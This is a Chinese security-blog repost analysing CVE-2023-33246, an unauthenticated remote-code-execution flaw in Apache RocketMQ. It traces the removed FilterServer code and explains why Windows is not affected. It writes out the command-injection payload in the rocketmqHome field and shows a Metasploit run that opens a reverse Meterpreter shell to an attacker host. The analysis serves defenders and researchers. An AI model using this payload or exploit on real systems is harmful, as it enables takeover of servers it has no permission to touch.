Apache RocketMQ 版本易受 RCE 攻击 (CVE-2023-33246):

admin 2024年10月18日22:42:29评论10 views字数 6617阅读22分3秒阅读模式
Apache RocketMQ 版本易受 RCE 攻击 (CVE-2023-33246):

技术分析

描述

RocketMQ的多个不同组件,包括NameServer、Broker和Controller,默认情况下会泄露到系统运行所在网络的外联网上,并且无需身份验证即可访问。可以通过使用“更新配置”功能向系统发送任意命令来利用该漏洞,这些命令将在运行应用程序的用户上下文中执行。

易受攻击的版本

Apache RocketMQ 版本易受 RCE 攻击 (CVE-2023-33246):

  • 5.1.0 – 5.0.0

  • <= 4.9.5

脆弱的环境

可以使用以下 docker 命令启动易受攻击的环境。NameServer 和 Broker 容器都是必需的:

docker pull apache/rocketmq:4.9.5docker run --rm--name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.5 sh mqnamesrvdocker run --rm --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.5 sh mqbroker -c /home/rocketmq/rocketmq-4.9.5/conf/broker.conf

Windows 是否容易受到攻击?

简短的回答:不。许多博客对 Unix PoC 发表评论,都说“Apache RocketMQ”容易受到攻击,但没有提及它必须在哪个平台上运行。因此,我认为 Windows 也容易受到攻击,并尝试利用它。

Windows 和 Unix 上的利用路径之间的唯一区别在于FilterServerManager.buildStartCommand(),其中发送到的命令Runtime.getRuntime().exec被构建:

        if (RemotingUtil.isWindowsPlatform()) {            return String.format("start /b %s\bin\mqfiltersrv.exe %s",                this.brokerController.getBrokerConfig().getRocketmqHome(),                config);        } else {            return String.format("sh %s/bin/startfsrv.sh %s",                this.brokerController.getBrokerConfig().getRocketmqHome(),                config);        }
  • Windows 入口点Runtime.getRuntime().exec("start /b <PAYLOAD>")

  • Unix 入口点Runtime.getRuntime().exec("sh <PAYLOAD>")

当我尝试在 Windows 上利用该漏洞时,C:Usersmsfuserlogsrocketmqlogsbroker.log我不断看到以下错误:

java.io.IOException: Cannot run program "start": CreateProcess error=2, The system cannot find the file specified

即使尝试运行更新 RocketMQ 代理配置的愉快路径时,也会出现相同的错误。那是因为在Java中不能start直接在Runtime.getRuntime().exec()方法中使用命令。该start命令是 Windows 特定命令,Java 运行时无法识别。

这是 RocketMQ 实现中的一个错误。如果他们没有因为我正在写的漏洞的出现而删除整个功能,我会就此向他们提出问题。

您可以在家里尝试以下测试类:

public class MyClass {   public static void main(String[] args) {      try {         String[] cmdArray =  {"start", " /b", "C:\Windows\System32\notepad.exe"};           Process process = Runtime.getRuntime().exec(cmdArray);      } catch (Exception ex) {         ex.printStackTrace();      }    }}

简单编译,执行,看到如下错误:

D:rocketmq>javac MyClass.javaD:rocketmq>java MyClassjava.io.IOException: Cannot run program "start": CreateProcess error=2, The system cannot find the file specified        at java.lang.ProcessBuilder.start(Unknown Source)        at java.lang.Runtime.exec(Unknown Source)        at java.lang.Runtime.exec(Unknown Source)        at MyClass.main(MyClass.java:9)Caused by: java.io.IOException: CreateProcess error=2, The system cannot find the file specified        at java.lang.ProcessImpl.create(Native Method)        at java.lang.ProcessImpl.<init>(Unknown Source)        at java.lang.ProcessImpl.start(Unknown Source)        ... 4 more

漏洞利用详情

补丁差异讲述了一个清晰的故事,FilterServerManager&FilterServerUtil类已从应用程序中完全删除。分析删除的代码,我们发现Runtime.getRuntime().exec(cmdArray)里面有一个潜在的 RCE 入口点FilterServerUtil.callShell()

public class FilterServerUtil {    public static void callShell(final String shellString, final InternalLogger log) {        Process process = null;        try {            String[] cmdArray = splitShellString(shellString);            process = Runtime.getRuntime().exec(cmdArray);            process.waitFor();            log.info("CallShell: <{}> OK", shellString);        } catch (Throwable e) {            log.error("CallShell: readLine IOException, {}", shellString, e);        } finally {            if (null != process)                process.destroy();        }    }    private static String[] splitShellString(final String shellString) {        return shellString.split(" ");    }}

从那里向后我们可以看到callShell调用 FilterServerManager.createFilterServer():

    public void createFilterServer() {        int more =            this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();        String cmd = this.buildStartCommand();        for (int i = 0; i < more; i++) {            FilterServerUtil.callShell(cmd, log);        }    }

createFilterServer()方法会根据内部的情况每30秒调用一次FilterServerManager.start()

    public void start() {        this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {            @Override            public void run() {                try {                    FilterServerManager.this.createFilterServer();                } catch (Exception e) {                    log.error("", e);                }            }        }, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);    }

执行的命令Runtime.getRuntime().exec是通过以下方法创建的FilterServerManager.buildStartCommand().。从最后一个块中我们可以看到,如果我们利用的系统不是 Windows,则当用户发送更新代理配置的请求时,else运行的命令将sh %s ...替换%s为用户控制的参数。getRocketmqHome()

 private String buildStartCommand() {        String config = "";        if (BrokerStartup.configFile != null) {            config = String.format("-c %s", BrokerStartup.configFile);        }        if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {            config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());        }        if (RemotingUtil.isWindowsPlatform()) {            return String.format("start /b %s\bin\mqfiltersrv.exe %s",                this.brokerController.getBrokerConfig().getRocketmqHome(),                config);        } else {            return String.format("sh %s/bin/startfsrv.sh %s",                this.brokerController.getBrokerConfig().getRocketmqHome(),                config);        }    }

以下是可以发送到 ApacheMQ 的 Broker 组件以更新代理配置或获取远程代码执行的请求。(请注意参数内部的有效负载rocketmqHome,并且利用所需的二进制标头也不包含在下面的有效负载中)

`{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1rocketmqHome=-c $@|sh . echo <Unix payload of your choice :)>`

该漏洞还有一个方面需要注意,在上面callShell您会注意到以下两行:

            String[] cmdArray = splitShellString(shellString);            process = Runtime.getRuntime().exec(cmdArray);

FilterServerUtil.splitShellString(final String shellString)定义如下:

    private static String[] splitShellString(final String shellString) {        return shellString.split(" ");    }

这意味着如果传入的命令包含空格,它将被分割成一个数组,并且数组的第一个元素将是命令(例如:),sh数组的其余元素将是该命令的参数。获取一长串多个命令,其中所有命令都包含要执行的空格,是 ShellFu 中的一个练习:

-c $@|sh . echo <PAYLOAD CONTAINING SPACES>

argument$@代表传递给脚本或命令的所有参数,直接将 echo 后的值作为$@一个整体传递,解决了shellString.split

Metasploit 开发

下面是一个易受攻击的 RocketMQ 实例的示例,该实例被apache_rocketmq_update_config 模块定位,以便在用户上下文中建立 Meterpreter 会话rocketmq

msf6 > use multi/http/apache_rocketmq_update_config[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcpmsf6 exploit(multi/http/apache_rocketmq_update_config) > set rhosts 127.0.0.1rhosts => 127.0.0.1msf6 exploit(multi/http/apache_rocketmq_update_config) > set lhost 172.16.199.158lhost => 172.16.199.158msf6 exploit(multi/http/apache_rocketmq_update_config) > set FETCH_SRVHOST 172.16.199.158FETCH_SRVHOST => 172.16.199.158msf6 exploit(multi/http/apache_rocketmq_update_config) > run[*] Started reverse TCP handler on 172.16.199.158:4444[*] 127.0.0.1:9876 - Running automatic check ("set AutoCheck false" to disable)[+] 127.0.0.1:9876 - The target appears to be vulnerable. RocketMQ version: 4.9.4[*] 127.0.0.1:9876 - autodetection failed, assuming default port of 10911[*] 127.0.0.1:9876 - Executing target: Automatic (Unix In-Memory) with payload cmd/linux/http/x64/meterpreter/reverse_tcp on Broker port: 10911[+] 127.0.0.1:9876 - Payload length: 252, (must not exceed 255 characters)[*] Sending stage (3045348 bytes) to 172.17.0.3[*] Meterpreter session 1 opened (172.16.199.158:4444 -> 172.17.0.3:37576) at 2023-06-27 14:49:18 -0700meterpreter > getuidServer username: rocketmqmeterpreter > sysinfoComputer     : 172.17.0.3OS           : CentOS 7.9.2009 (Linux 5.15.0-75-generic)Architecture : x64BuildTuple   : x86_64-linux-muslMeterpreter  : x64/linuxmeterpreter >

参考

https://blogs.juniper.net/en-us/threat-research/cve-2023-33246-apache-rocketmq-remote-code-execution-vulnerability

https://blog.csdn.net/qq_41904294/article/details /130987233

原文始发于微信公众号(Ots安全):Apache RocketMQ 版本易受 RCE 攻击 (CVE-2023-33246):

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月18日22:42:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache RocketMQ 版本易受 RCE 攻击 (CVE-2023-33246):http://cn-sec.com/archives/1882282.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息